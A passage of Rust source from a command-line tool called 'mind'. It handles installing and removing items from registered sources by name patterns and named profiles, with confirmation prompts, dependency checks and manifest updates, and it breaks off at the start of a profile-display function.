fn parse_learn_pattern(pattern: &str) -> Result<(crate::resolve::ItemRef, Option<glob::Pattern>)> {
let bad = |reason: &str| MindError::InvalidLearnPattern {
pattern: strip_ansi(pattern),
reason: reason.to_string(),
};
if pattern.trim().is_empty() {
return Err(bad("it is empty"));
}
if pattern.contains('#') {
return Err(bad(
"it selects within the source being melded, so pass just an item name or glob \
(e.g. 'review', 'skill:*'), not a source-qualified ref",
));
}
let parsed = crate::resolve::parse_item_ref(pattern)
.map_err(|_| bad("it is not a valid item name, 'kind:name', or glob"))?;
let matcher = if crate::resolve::is_glob(&parsed.name) {
Some(
glob::Pattern::new(&parsed.name)
.map_err(|e| bad(&format!("it is not a valid glob ({e})")))?,
)
} else {
None
};
Ok((parsed, matcher))
}
pub fn validate_learn_patterns(patterns: &[String]) -> Result<()> {
for pattern in patterns {
parse_learn_pattern(pattern)?;
}
Ok(())
}
fn learn_pattern_targets(
items: &[CatalogItem],
source_name: &str,
pattern: &str,
) -> Result<Vec<LearnTarget>> {
let (parsed, matcher) = parse_learn_pattern(pattern)?;
let hit = |it: &CatalogItem| -> bool {
if !parsed.kind.is_none_or(|k| it.kind == k) {
return false;
}
match &matcher {
Some(p) => p.matches(&it.effective_name()) || p.matches(&it.name),
None => it.effective_name() == parsed.name || it.name == parsed.name,
}
};
let mut targets: Vec<LearnTarget> = Vec::new();
for it in items
.iter()
.filter(|it| it.source == source_name && hit(it))
{
let t = LearnTarget {
source: source_name.to_string(),
key: it.key().as_str().to_string(),
};
if !targets.contains(&t) {
targets.push(t);
}
}
if targets.is_empty() {
return Err(MindError::LearnPatternNoMatch {
pattern: strip_ansi(pattern),
source_name: strip_ansi(source_name),
});
}
Ok(targets)
}
fn learn_targets(
paths: &Paths,
source_name: &str,
patterns: &[String],
) -> Result<(Vec<LearnTarget>, Vec<LearnTarget>)> {
let registry = Registry::load(paths)?;
let items = catalog::scan(paths, ®istry)?;
let mut targets: Vec<LearnTarget> = Vec::new();
for pattern in patterns {
for t in learn_pattern_targets(&items, source_name, pattern)? {
if !targets.contains(&t) {
targets.push(t);
}
}
}
let manifest = Manifest::load(paths)?;
let fresh: Vec<LearnTarget> = targets
.iter()
.filter(|t| !manifest.items.contains_key(&t.key))
.cloned()
.collect();
Ok((targets, fresh))
}
pub fn install_source_items_matching(
paths: &Paths,
source_name: &str,
patterns: &[String],
flow: InstallFlow,
) -> Result<()> {
let (matched, fresh) = learn_targets(paths, source_name, patterns)?;
if fresh.is_empty() {
if !json_mode() {
println!(
"already installed; nothing to do ({} item(s))",
matched.len()
);
}
return Ok(());
}
let quoted = fresh
.iter()
.map(|t| format!("mind learn {}", crate::error::shell_quote(&t.display())))
.collect::<Vec<_>>()
.join(" && ");
let install_all = |flow: InstallFlow| -> Result<()> {
for target in &fresh {
learn_exact(paths, target, false, flow)?;
}
Ok(())
};
if flow.yes {
return install_all(flow);
}
if !crate::hook::is_tty() {
if !json_mode() {
println!(
"note: registered only, nothing installed (not a TTY); {} item(s) match --learn; \
run `{quoted}` (or re-meld with --yes)",
fresh.len(),
);
}
return Ok(());
}
for target in &fresh {
learn_exact(paths, target, true, flow)?;
}
if confirm_default_yes(&format!("install these {} item(s) now?", fresh.len()))? {
install_all(InstallFlow { yes: true, ..flow })
} else {
println!("skipped; run `{quoted}` to install later");
Ok(())
}
}
pub(crate) fn install_source_items_matching_for_json(
paths: &Paths,
source_name: &str,
patterns: &[String],
flow: InstallFlow,
) -> Result<(Vec<String>, usize)> {
let (_matched, fresh) = learn_targets(paths, source_name, patterns)?;
if fresh.is_empty() {
return Ok((Vec::new(), 0));
}
if flow.yes {
let mut installed: Vec<String> = Vec::new();
for target in &fresh {
installed.extend(learn_collecting_exact(paths, target, flow)?);
}
return Ok((installed, 0));
}
let mut pending: BTreeSet<String> = BTreeSet::new();
for target in &fresh {
pending.extend(learn_plan(paths, Selection::Exact(target))?.keys);
}
Ok((Vec::new(), pending.len()))
}
pub fn install_source_items_subset(
paths: &Paths,
source_name: &str,
bare_refs: &[String],
flow: InstallFlow,
) -> Result<()> {
if bare_refs.is_empty() {
return Ok(());
}
let registry = Registry::load(paths)?;
let Some(source) = registry.find(source_name) else {
return Ok(());
};
let source_items = catalog::scan(paths, &single(source))?;
let subset: Vec<&CatalogItem> = select_by_bare_refs(&source_items, bare_refs);
if subset.is_empty() {
return Ok(());
}
let manifest = crate::manifest::Manifest::load(paths)?;
let installed_keys: std::collections::HashSet<String> =
manifest.items.keys().cloned().collect();
let to_install: Vec<&CatalogItem> = subset
.into_iter()
.filter(|it| !installed_keys.contains(it.key().as_str()))
.collect();
if to_install.is_empty() {
return Ok(());
}
let count = to_install.len();
let refs: Vec<String> = to_install
.iter()
.map(|it| format!("{source_name}#{}", it.key().as_str()))
.collect();
if flow.yes {
for item_ref in &refs {
learn(paths, item_ref, false, flow)?;
}
return Ok(());
}
if !crate::hook::is_tty() {
let ref_list = refs.join(", ");
if !json_mode() {
let ref_str = if refs.len() == 1 {
strip_ansi(&refs[0])
} else {
format!("{source_name}#*")
};
let quoted_ref = crate::error::shell_quote(&ref_str);
println!(
"note: registered only, nothing installed (not a TTY); {source_name} has {count} item(s) to install; run `mind learn {quoted_ref}` (or re-meld with --yes)"
);
let _ = ref_list; }
return Ok(());
}
for item_ref in &refs {
learn(paths, item_ref, true, flow)?;
}
if confirm_default_yes(&format!("install these {count} item(s) now?"))? {
for item_ref in &refs {
learn(paths, item_ref, false, InstallFlow { yes: true, ..flow })?;
}
} else {
let quoted_ref = crate::error::shell_quote(&format!("{source_name}#*"));
println!("skipped; run `mind learn {quoted_ref}` to install later");
}
Ok(())
}
pub(crate) struct ProfileInstall<'a> {
pub source_name: &'a str,
pub selection: &'a crate::profile::Selection,
pub learn_patterns: &'a [String],
pub only_missing_from_snapshot: bool,
}
#[derive(Debug, Default)]
pub(crate) struct ProfileInstallOutcome {
pub enabled: Vec<String>,
pub installed_keys: Vec<String>,
pub applied: bool,
}
struct ProfileMember {
target: LearnTarget,
bare_key: Option<String>,
profiles: BTreeSet<String>,
by_name: bool,
installed: bool,
}
struct ProfilePlan {
declared: Vec<String>,
enabled: Vec<String>,
members: Vec<ProfileMember>,
reasons: std::collections::BTreeMap<String, BTreeSet<String>>,
pending: Vec<String>,
trees: Vec<String>,
}
impl ProfilePlan {
fn fresh(&self) -> impl Iterator<Item = &ProfileMember> {
self.members.iter().filter(|m| !m.installed)
}
}
pub(crate) fn source_profile_table(
paths: &Paths,
source: &crate::source::Source,
) -> Result<Option<crate::profile::ProfileTable>> {
if source.item_path.is_some() {
return Ok(None);
}
Ok(MindToml::load(&source.clone_dir(paths))?.and_then(|m| m.profiles))
}
pub(crate) fn meld_uses_profiles(
paths: &Paths,
source_name: &str,
flags_given: bool,
) -> Result<bool> {
if flags_given {
return Ok(true);
}
let registry = Registry::load(paths)?;
let Some(source) = registry.find(source_name) else {
return Ok(false);
};
Ok(source_profile_table(paths, source)?
.is_some_and(|t| t.contains_key(crate::profile::DEFAULT)))
}
pub fn is_item_link_spec(repo: &str) -> bool {
parse_spec_quiet(repo).is_ok_and(|s| s.item_path.is_some())
}
fn pick_profiles_from(
source_name: &str,
table: Option<&crate::profile::ProfileTable>,
selection: crate::profile::Selection,
flags_given: bool,
yes: bool,
) -> Result<crate::profile::Selection> {
if flags_given || yes || json_mode() || !crate::hook::is_tty() {
return Ok(selection);
}
let Some(table) = table else {
return Ok(selection);
};
if !table.contains_key(crate::profile::DEFAULT)
|| !table.keys().any(|k| k != crate::profile::DEFAULT)
{
return Ok(selection);
}
let declared: Vec<&str> = table.keys().map(String::as_str).collect();
println!(
"{} declares profiles: {}",
strip_ansi(source_name),
declared.join(", ")
);
let answer = prompt_line("enable which profiles? (comma-separated; Enter keeps: default): ")?;
let answer = answer.trim();
if answer.is_empty() {
return Ok(selection);
}
let named = crate::profile::parse_cli_names(&[answer.to_string()])?;
Ok(crate::profile::Selection {
include_default: false,
named,
all: false,
})
}
fn plan_profile_install(paths: &Paths, req: &ProfileInstall<'_>) -> Result<ProfilePlan> {
let registry = Registry::load(paths)?;
let Some(source) = registry.find(req.source_name) else {
return Err(MindError::SourceNotFound {
name: req.source_name.to_string(),
});
};
let table = source_profile_table(paths, source)?;
let enabled = crate::profile::enabled_set(table.as_ref(), req.selection, req.source_name)?;
let items = scan_one(paths, source)?;
let expansion = match &table {
Some(t) if !enabled.is_empty() => {
crate::profile::expand(t, &enabled, &items, req.source_name)?
}
_ => crate::profile::Expansion::default(),
};
let snapshot: BTreeSet<String> = if req.only_missing_from_snapshot {
source
.profile_snapshot
.clone()
.unwrap_or_default()
.into_iter()
.collect()
} else {
BTreeSet::new()
};
let bare = |it: &CatalogItem| format!("{}:{}", it.kind.as_str(), it.name);
let manifest = Manifest::load(paths)?;
let mut members: Vec<ProfileMember> = Vec::new();
for (key, profiles) in &expansion.keys {
if snapshot.contains(key) {
continue;
}
let Some(it) = items.iter().find(|it| bare(it) == *key) else {
continue;
};
let target = LearnTarget {
source: req.source_name.to_string(),
key: it.key().as_str().to_string(),
};
members.push(ProfileMember {
installed: manifest.items.contains_key(&target.key),
target,
bare_key: Some(key.clone()),
profiles: profiles.clone(),
by_name: false,
});
}
if !req.learn_patterns.is_empty() {
let (matched, _fresh) = learn_targets(paths, req.source_name, req.learn_patterns)?;
for t in matched {
if let Some(m) = members.iter_mut().find(|m| m.target == t) {
m.by_name = true;
continue;
}
members.push(ProfileMember {
installed: manifest.items.contains_key(&t.key),
target: t,
bare_key: None,
profiles: BTreeSet::new(),
by_name: true,
});
}
}
let mut reasons: std::collections::BTreeMap<String, BTreeSet<String>> =
std::collections::BTreeMap::new();
let mut pending: Vec<String> = Vec::new();
let mut trees: Vec<String> = Vec::new();
let fresh: Vec<&ProfileMember> = members.iter().filter(|m| !m.installed).collect();
let targets: Vec<&LearnTarget> = fresh.iter().map(|m| &m.target).collect();
let plans = learn_plans(paths, &targets)?;
for (m, plan) in fresh.into_iter().zip(plans) {
for key in &plan.keys {
reasons
.entry(key.clone())
.or_default()
.extend(m.profiles.iter().cloned());
if !pending.contains(key) {
pending.push(key.clone());
}
}
if plan.adds_dependencies {
trees.push(plan.tree);
}
}
Ok(ProfilePlan {
declared: table
.as_ref()
.map(|t| t.keys().cloned().collect())
.unwrap_or_default(),
enabled,
members,
reasons,
pending,
trees,
})
}
fn apply_profile_plan(
paths: &Paths,
source_name: &str,
plan: &ProfilePlan,
flow: InstallFlow,
collect: bool,
) -> Result<Vec<String>> {
let before: HashSet<String> = Manifest::load(paths)?.items.keys().cloned().collect();
let recorded = Registry::load(paths)?
.find(source_name)
.and_then(|s| s.profiles.clone())
.unwrap_or_default();
let enabled: BTreeSet<String> = recorded.into_iter().chain(plan.enabled.clone()).collect();
let _scope = crate::hook::scope_profiles(crate::hook::ProfileScope {
source: source_name.to_string(),
enabled: enabled.into_iter().collect(),
reasons: plan.reasons.clone(),
});
let targets: Vec<LearnTarget> = plan.fresh().map(|m| m.target.clone()).collect();
let failure: Option<MindError> = if targets.is_empty() {
None
} else if collect {
learn_collecting_selected(paths, Selection::ExactMany(&targets), flow).err()
} else {
learn_selected(paths, Selection::ExactMany(&targets), false, flow).err()
};
let mut manifest = Manifest::load(paths)?;
let installed_keys: Vec<String> = plan
.pending
.iter()
.filter(|k| !before.contains(*k) && manifest.items.contains_key(*k))
.cloned()
.collect();
for key in &installed_keys {
if let (Some(entry), Some(reasons)) = (manifest.items.get_mut(key), plan.reasons.get(key)) {
crate::profile::tag_reasons(entry, reasons, false);
}
}
let mut applied_keys: Vec<String> = Vec::new();
for m in &plan.members {
let Some(entry) = manifest.items.get_mut(&m.target.key) else {
continue; };
if m.installed {
crate::profile::tag_reasons(entry, &m.profiles, true);
}
if m.by_name {
crate::profile::mark_explicit(entry);
}
if let Some(bare) = &m.bare_key {
applied_keys.push(bare.clone());
}
}
manifest.save(paths)?;
if !plan.enabled.is_empty() {
let mut registry = Registry::load(paths)?;
if let Some(source) = registry.sources.iter_mut().find(|s| s.name == source_name) {
crate::profile::record_applied(source, &plan.enabled, &applied_keys);
registry.save(paths)?;
}
}
match failure {
Some(e) => Err(e),
None => Ok(installed_keys),
}
}
fn print_profile_header(source_name: &str, plan: &ProfilePlan) {
if plan.declared.is_empty() {
return;
}
let enabled = if plan.enabled.is_empty() {
"none".to_string()
} else {
plan.enabled.join(", ")
};
println!("profiles of {}: enabled {enabled}", strip_ansi(source_name));
let others: Vec<&str> = plan
.declared
.iter()
.filter(|d| !plan.enabled.contains(d))
.map(String::as_str)
.collect();
if !others.is_empty() {
let quoted = crate::error::shell_quote(&strip_ansi(source_name));
println!(
" not enabled: {}; list their items with `mind recall --profiles {quoted}`, \
enable one with `mind learn {quoted} --profile <name>` (or --all-profiles)",
others.join(", ")
);
}
}
fn print_profile_progress(paths: &Paths, source_name: &str, selection: &crate::profile::Selection) {
if json_mode() {
return;
}
let Ok(registry) = Registry::load(paths) else {
return;
};
let Some(source) = registry.find(source_name) else {
return;
};
let Ok(table) = source_profile_table(paths, source) else {
return;
};
let Ok(enabled) = crate::profile::enabled_set(table.as_ref(), selection, source_name) else {
return;
};
if enabled.is_empty() {
return;
}
println!(
"{} resolving profile(s) {} of {} ...",
crate::render::ctx().bullet(),
enabled.join(", "),
strip_ansi(source_name)
);
}
fn profile_remedy(source_name: &str, plan: &ProfilePlan) -> String {
let quoted_source = crate::error::shell_quote(&strip_ansi(source_name));
let mut steps: Vec<String> = Vec::new();
if plan.enabled.is_empty() {
if plan.members.is_empty() {
steps.push(format!("mind learn {quoted_source} --profile <name>"));
}
} else {
steps.push(format!(
"mind learn {quoted_source} --profile {}",
plan.enabled.join(",")
));
}
for m in plan.fresh().filter(|m| m.profiles.is_empty()) {
steps.push(format!(
"mind learn {}",
crate::error::shell_quote(&m.target.display())
));
}
steps.join(" && ")
}
fn print_profile_preview(paths: &Paths, plan: &ProfilePlan) -> Result<()> {
let out = crate::render::ctx();
for tree in &plan.trees {
print!("{tree}");
}
println!("would learn {} item(s):", plan.pending.len());
let registry = Registry::load(paths)?;
let items = catalog::scan(paths, ®istry)?;
let rows = plan
.pending
.iter()
.map(|k| {
let src = items
.iter()
.find(|i| i.key().as_str() == k)
.map(|i| strip_ansi(&i.source))
.unwrap_or_default();
vec![strip_ansi(k), src]
})
.collect::<Vec<_>>();
out.print_rows(&rows);
Ok(())
}
pub(crate) fn install_source_profiles(
paths: &Paths,
req: &ProfileInstall<'_>,
flow: InstallFlow,
) -> Result<ProfileInstallOutcome> {
print_profile_progress(paths, req.source_name, req.selection);
let plan = plan_profile_install(paths, req)?;
let mut outcome = ProfileInstallOutcome {
enabled: plan.enabled.clone(),
..ProfileInstallOutcome::default()
};
let json = json_mode();
if !json {
print_profile_header(req.source_name, &plan);
}
if plan.members.is_empty() {
if plan.enabled.is_empty() {
if !json {
println!(
"note: no profile enabled; nothing installed from {}; run `{}` to install a \
profile later",
strip_ansi(req.source_name),
profile_remedy(req.source_name, &plan)
);
}
} else {
apply_profile_plan(paths, req.source_name, &plan, flow, json)?;
outcome.applied = true;
}
return Ok(outcome);
}
if plan.pending.is_empty() {
if !json {
println!(
"already installed; nothing to do ({} item(s))",
plan.members.len()
);
}
apply_profile_plan(paths, req.source_name, &plan, flow, json)?;
outcome.applied = true;
return Ok(outcome);
}
if flow.yes {
outcome.installed_keys = apply_profile_plan(paths, req.source_name, &plan, flow, json)?;
outcome.applied = true;
return Ok(outcome);
}
let remedy = profile_remedy(req.source_name, &plan);
if json || !crate::hook::is_tty() {
if !json {
println!(
"note: registered only, nothing installed (not a TTY); {} has {} item(s) to \
install; run `{remedy}` (or re-meld with --yes)",
strip_ansi(req.source_name),
plan.pending.len()
);
}
return Ok(outcome);
}
print_profile_preview(paths, &plan)?;
if confirm_default_yes(&format!(
"install these {} item(s) now?",
plan.pending.len()
))? {
outcome.installed_keys = apply_profile_plan(
paths,
req.source_name,
&plan,
InstallFlow { yes: true, ..flow },
false,
)?;
outcome.applied = true;
} else {
println!("skipped; run `{remedy}` to install later");
}
Ok(outcome)
}
pub(crate) fn install_source_profiles_for_json(
paths: &Paths,
req: &ProfileInstall<'_>,
flow: InstallFlow,
) -> Result<(ProfileInstallOutcome, usize)> {
let plan = plan_profile_install(paths, req)?;
let mut outcome = ProfileInstallOutcome {
enabled: plan.enabled.clone(),
..ProfileInstallOutcome::default()
};
if plan.members.is_empty() && plan.enabled.is_empty() {
return Ok((outcome, 0));
}
if plan.pending.is_empty() || flow.yes {
outcome.installed_keys = apply_profile_plan(paths, req.source_name, &plan, flow, true)?;
outcome.applied = true;
return Ok((outcome, 0));
}
Ok((outcome, plan.pending.len()))
}
fn resolve_profile_source(paths: &Paths, source_ref: &str) -> Result<String> {
let source_ref = source_ref.trim();
if source_ref.contains('#') {
return Err(MindError::InvalidItemRef {
name: source_ref.to_string(),
});
}
let registry = Registry::load(paths)?;
let matching: Vec<String> = registry
.sources
.iter()
.filter(|s| source_matches(&s.name, source_ref))
.map(|s| s.name.clone())
.collect();
match matching.as_slice() {
[] => Err(MindError::SourceNotFound {
name: source_ref.to_string(),
}),
[only] => Ok(only.clone()),
many => Err(MindError::AmbiguousSource {
query: source_ref.to_string(),
candidates: many.iter().map(|n| strip_ansi(n)).collect(),
}),
}
}
pub fn forget_source_profile(
paths: &Paths,
source_ref: &str,
profile: &str,
yes: bool,
dangerously_skip: bool,
) -> Result<()> {
let out = crate::render::ctx();
let names = crate::profile::parse_cli_names(&[profile.to_string()])?;
let [name] = names.as_slice() else {
return Err(MindError::InvalidProfileName {
name: profile.trim().to_string(),
reason: "forget --profile takes one profile name".to_string(),
});
};
let source_name = resolve_profile_source(paths, source_ref)?;
let safe_source = strip_ansi(&source_name);
let registry = Registry::load(paths)?;
let Some(source) = registry.find(&source_name) else {
return Err(MindError::SourceNotFound { name: source_name });
};
let recorded: Vec<String> = source.profiles.clone().unwrap_or_default();
if !recorded.iter().any(|p| p == name) {
if out.json {
let mut r = MutationResult::new("forget", source_ref, "no-op");
r.profiles = Some(recorded);
return print_json(&r);
}
let enabled = if recorded.is_empty() {
"none".to_string()
} else {
recorded.join(", ")
};
println!(
"profile '{name}' is not enabled for {safe_source} (enabled: {enabled}); nothing changed"
);
return Ok(());
}
let ProfileDisable {
plan,
remove,
kept,
mut manifest,
catalog,
} = resolve_profile_disable(paths, ®istry, source, name, true)?;
if remove.len() > 1 && !yes {
if !out.json {
println!(
"disabling profile '{name}' of {safe_source} would remove {} item(s):",
remove.len()
);
for key in &remove {
println!(" {} {}", out.warn(), strip_ansi(key));
}
}
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!(
"disabling profile '{name}' of '{safe_source}' (removes {} items)",
remove.len()
),
out.json,
),
});
}
if !confirm("remove these item(s)?")? {
println!("cancelled; nothing changed");
return Ok(());
}
}
for (key, reasons) in &plan.strip {
if let Some(entry) = manifest.items.get_mut(key) {
entry.profiles = reasons.clone();
}
}
let _scope = crate::hook::scope_profiles(crate::hook::ProfileScope {
source: source_name.to_string(),
enabled: plan.remaining_enabled.clone().unwrap_or_default(),
reasons: Default::default(),
});
let mut removed: Vec<String> = Vec::new();
for key in &remove {
let Some(item) = manifest.items.remove(key) else {
continue;
};
let uninstall_hooks: Vec<&crate::mindfile::ResolvedHook> =
item_catalog_match(&catalog, &item)
.map(|c| c.uninstall_hooks())
.unwrap_or_default();
let commit = source.commit.clone().unwrap_or_default();
if let Err(e) = uninstall_item(paths, &item, &uninstall_hooks, &commit, dangerously_skip) {
manifest.items.insert(key.clone(), item);
if let Err(se) = manifest.save(paths) {
warn_manifest_save_also_failed(&se);
}
return Err(e);
}
let key_display = strip_ansi(key);
if !out.json {
println!("{} forgot {key_display}", out.ok());
}
removed.push(key_display);
}
manifest.save(paths)?;
let mut registry = Registry::load(paths)?;
if let Some(s) = registry.sources.iter_mut().find(|s| s.name == source_name) {
s.profiles = plan.remaining_enabled.clone();
s.profile_snapshot = plan.new_snapshot.clone();
}
registry.save(paths)?;
let kept_lines: Vec<String> = kept
.iter()
.map(|(k, deps)| {
format!(
"{} (needed by {})",
strip_ansi(k),
deps.iter()
.map(|d| strip_ansi(d))
.collect::<Vec<_>>()
.join(", ")
)
})
.collect();
if out.json {
let mut r = MutationResult::new("forget", source_ref, "disabled");
r.removed = removed;
r.kept = kept_lines;
r.profiles = Some(plan.remaining_enabled.unwrap_or_default());
return print_json(&r);
}
for line in &kept_lines {
println!("{} kept {line}", out.warn());
}
let left = match &plan.remaining_enabled {
Some(v) if !v.is_empty() => format!("enabled: {}", v.join(", ")),
_ => "no profile enabled".to_string(),
};
println!(
"{} disabled profile '{name}' of {safe_source} ({left})",
out.ok()
);
Ok(())
}
struct ProfileDisable {
plan: crate::profile::DisablePlan,
remove: Vec<String>,
kept: Vec<(String, Vec<String>)>,
manifest: Manifest,
catalog: Vec<CatalogItem>,
}
fn resolve_profile_disable(
paths: &Paths,
registry: &Registry,
source: &crate::source::Source,
name: &str,
warn: bool,
) -> Result<ProfileDisable> {
let source_name = &source.name;
let table = source_profile_table(paths, source)?.unwrap_or_default();
let remaining: Vec<String> = source
.profiles
.iter()
.flatten()
.filter(|p| *p != name)
.cloned()
.collect();
let items = scan_one(paths, source)?;
let (expansion, expand_failed) =
match crate::profile::expand(&table, &remaining, &items, source_name) {
Ok(e) => (e, false),
Err(e) => {
if warn {
crate::render::warn(format!(
"could not expand the remaining profiles of {}: {}; keeping its \
snapshot unchanged",
strip_ansi(source_name),
strip_ansi(&e.to_string())
));
}
(crate::profile::Expansion::default(), true)
}
};
let manifest = Manifest::load(paths)?;
let mut plan = {
let of_source: Vec<&crate::manifest::InstalledItem> = manifest
.items
.values()
.filter(|m| m.source == *source_name)
.collect();
crate::profile::disable_plan(source, &of_source, name, &expansion)
};
if expand_failed && plan.remaining_enabled.is_some() {
plan.new_snapshot = source.profile_snapshot.clone();
}
let catalog = catalog::scan(paths, registry).unwrap_or_default();
let graph = crate::deps::installed_graph(
&catalog,
|it| {
manifest
.items
.get(it.key().as_str())
.is_some_and(|m| m.source == it.source)
},
read_item_text,
);
let mut remove: Vec<String> = plan.removable.clone();
let mut kept: Vec<(String, Vec<String>)> = Vec::new();
loop {
let blocked = remove.iter().find_map(|k| {
let deps: Vec<String> = graph
.dependents(k)
.into_iter()
.filter(|d| !remove.contains(d))
.collect();
(!deps.is_empty()).then(|| (k.clone(), deps))
});
match blocked {
Some((k, deps)) => {
remove.retain(|r| *r != k);
kept.push((k, deps));
}
None => break,
}
}
Ok(ProfileDisable {
plan,
remove,
kept,
manifest,
catalog,
})
}
#[derive(Debug, Default, PartialEq, Eq)]
pub(crate) struct ProfileChangePreview {
pub install: Vec<String>,
pub remove: Vec<String>,
pub kept: Vec<String>,
}
pub(crate) fn profiles_install_preview(
paths: &Paths,
source_name: &str,
profiles: &[String],
) -> Result<ProfileChangePreview> {
let selection = crate::profile::Selection {
include_default: false,
named: profiles.to_vec(),
all: false,
};
let req = ProfileInstall {
source_name,
selection: &selection,
learn_patterns: &[],
only_missing_from_snapshot: false,
};
let plan = plan_profile_install(paths, &req)?;
Ok(ProfileChangePreview {
install: plan.pending.iter().map(|k| strip_ansi(k)).collect(),
..ProfileChangePreview::default()
})
}
pub(crate) fn profile_change_preview(
paths: &Paths,
source_name: &str,
profile: &str,
enable: bool,
) -> Result<ProfileChangePreview> {
let registry = Registry::load(paths)?;
let Some(source) = registry.find(source_name) else {
return Err(MindError::SourceNotFound {
name: source_name.to_string(),
});
};
if enable {
return profiles_install_preview(paths, source_name, &[profile.to_string()]);
}
if !source.profiles.iter().flatten().any(|p| p == profile) {
return Ok(ProfileChangePreview::default());
}
let d = resolve_profile_disable(paths, ®istry, source, profile, false)?;
Ok(ProfileChangePreview {
install: Vec::new(),
remove: d.remove.iter().map(|k| strip_ansi(k)).collect(),
kept: d.kept.iter().map(|(k, _)| strip_ansi(k)).collect(),
})
}
pub fn learn_source_profiles(
paths: &Paths,
source_ref: &str,
selection: &crate::profile::Selection,
dry_run: bool,
flow: InstallFlow,
) -> Result<()> {
let source_name = resolve_profile_source(paths, source_ref)?;
let req = ProfileInstall {
source_name: &source_name,
selection,
learn_patterns: &[],
only_missing_from_snapshot: false,
};
print_profile_progress(paths, &source_name, selection);
let plan = plan_profile_install(paths, &req)?;
let out = crate::render::ctx();
let result = |outcome: &'static str, installed: Vec<String>| {
let mut r = MutationResult::new("learn", &source_name, outcome);
r.installed = installed.iter().map(|k| strip_ansi(k)).collect();
r.profiles = Some(plan.enabled.clone());
r
};
if !out.json {
print_profile_header(&source_name, &plan);
}
if plan.enabled.is_empty() {
if out.json {
return print_json(&result("up-to-date", Vec::new()));
}
println!(
"note: {} declares no profiles; nothing to do",
strip_ansi(&source_name)
);
return Ok(());
}
if dry_run {
if out.json {
return print_json(&result("dry-run", plan.pending.clone()));
}
return print_profile_preview(paths, &plan);
}
if plan.pending.is_empty() {
apply_profile_plan(paths, &source_name, &plan, flow, out.json)?;
if out.json {
return print_json(&result("up-to-date", Vec::new()));
}
println!("already installed; nothing to do");
return Ok(());
}
if !plan.trees.is_empty() && !flow.yes {
if out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!(
"installing the dependency closure of profile(s) {} of '{}'",
plan.enabled.join(", "),
strip_ansi(&source_name)
),
true,
),
});
}
for tree in &plan.trees {
print!("{tree}");
}
if !confirm("install this dependency closure?")? {
println!("cancelled; nothing installed");
return Ok(());
}
}
let installed = apply_profile_plan(
paths,
&source_name,
&plan,
InstallFlow { yes: true, ..flow },
out.json,
)?;
if out.json {
return print_json(&result("installed", installed));
}
Ok(())
}
fn remeld_profile_selection(
paths: &Paths,
source_name: &str,
flags: Option<&crate::profile::Selection>,
) -> Result<Option<crate::profile::Selection>> {
let registry = Registry::load(paths)?;
let Some(source) = registry.find(source_name) else {
return Ok(None);
};
let table = source_profile_table(paths, source)?;
let tracked = source.is_profile_tracked();
let has_default = table
.as_ref()
.is_some_and(|t| t.contains_key(crate::profile::DEFAULT));
if flags.is_none() && !tracked && !has_default {
return Ok(None);
}
let mut sel = flags.cloned().unwrap_or(crate::profile::Selection {
include_default: true,
named: Vec::new(),
all: false,
});
if tracked {
sel.include_default = false;
for p in source.profiles.iter().flatten() {
let declared = table.as_ref().is_some_and(|t| t.contains_key(p));
if declared && !sel.named.contains(p) {
sel.named.push(p.clone());
}
}
}
Ok(Some(sel))
}
fn curated_profile_selection(
paths: &Paths,
registry: &Registry,
entry: &crate::mindfile::NestedSource,
nested_name: &str,
curator: &str,
) -> Result<Option<crate::profile::Selection>> {
let Some(source) = registry.find(nested_name) else {
return Ok(None);
};
Ok(curated_profile_route(paths, source, entry, curator)?.map(|(sel, _)| sel))
}
pub(crate) fn curated_profile_route(
paths: &Paths,
source: &crate::source::Source,
entry: &crate::mindfile::NestedSource,
curator: &str,
) -> Result<Option<(crate::profile::Selection, Vec<String>)>> {
let table = source_profile_table(paths, source)?;
let Some(sel) = curated_route_selection(table.as_ref(), entry) else {
return Ok(None);
};
let enabled =
crate::profile::enabled_set_for_curator(table.as_ref(), &sel, &source.name, curator)?;
Ok(Some((sel, enabled)))
}
fn curated_route_selection(
table: Option<&crate::profile::ProfileTable>,
entry: &crate::mindfile::NestedSource,
) -> Option<crate::profile::Selection> {
let names_profiles = entry.profiles.as_ref().is_some_and(|p| !p.is_empty());
let has_default = table.is_some_and(|t| t.contains_key(crate::profile::DEFAULT));
let via_install = entry.install && (has_default || entry.default_profile == Some(false));
(names_profiles || via_install).then(|| crate::profile::Selection::from_nested(entry))
}
pub(crate) enum MeldProfiles<'a> {
None,
Consumer {
selection: crate::profile::Selection,
flags_given: bool,
yes: bool,
picked: Option<crate::profile::Selection>,
},
Curated(&'a crate::mindfile::NestedSource),
}
impl MeldProfiles<'_> {
fn hook_env(
&mut self,
source_name: &str,
table: Option<&crate::profile::ProfileTable>,
) -> Result<crate::hook::HookEnv> {
let selection = match self {
MeldProfiles::None => None,
MeldProfiles::Consumer {
selection,
flags_given,
yes,
picked,
} => {
let routes =
*flags_given || table.is_some_and(|t| t.contains_key(crate::profile::DEFAULT));
if routes {
let sel = pick_profiles_from(
source_name,
table,
selection.clone(),
*flags_given,
*yes,
)?;
*picked = Some(sel.clone());
Some(sel)
} else {
None
}
}
MeldProfiles::Curated(entry) => curated_route_selection(table, entry),
};
Ok(meld_hook_env(table, selection.as_ref(), None))
}
}
fn curated_install_item_patterns(
paths: &Paths,
registry: &Registry,
nested_name: &str,
refs: Option<&Vec<String>>,
) -> Result<Vec<String>> {
let Some(refs) = refs.filter(|r| !r.is_empty()) else {
return Ok(Vec::new());
};
let Some(source) = registry.find(nested_name) else {
return Ok(Vec::new());
};
let items = catalog::scan(paths, &single(source))?;
Ok(select_by_bare_refs(&items, refs)
.into_iter()
.map(|it| format!("{}:{}", it.kind.as_str(), it.name))
.collect())
}
pub fn mark_learned_explicit(paths: &Paths, item_ref: &str) -> Result<()> {
let Ok(parsed) = parse_item_ref(item_ref) else {
return Ok(());
};
if is_glob(&parsed.name) {
return Ok(());
}
if Manifest::load(paths)?
.items
.values()
.all(|i| i.profiles.is_empty())
{
return Ok(());
}
let registry = Registry::load(paths)?;
let Ok(items) = catalog::scan(paths, ®istry) else {
return Ok(());
};
let Ok(item) = resolve(&items, &parsed, registry.sources.len()) else {
return Ok(());
};
let mut manifest = Manifest::load(paths)?;
if let Some(entry) = manifest.items.get_mut(item.key().as_str()) {
let was = entry.explicit;
crate::profile::mark_explicit(entry);
if entry.explicit != was {
manifest.save(paths)?;
}
}
Ok(())
}
fn display_profile_table(
paths: &Paths,
source: &crate::source::Source,
) -> Option<crate::profile::ProfileTable> {
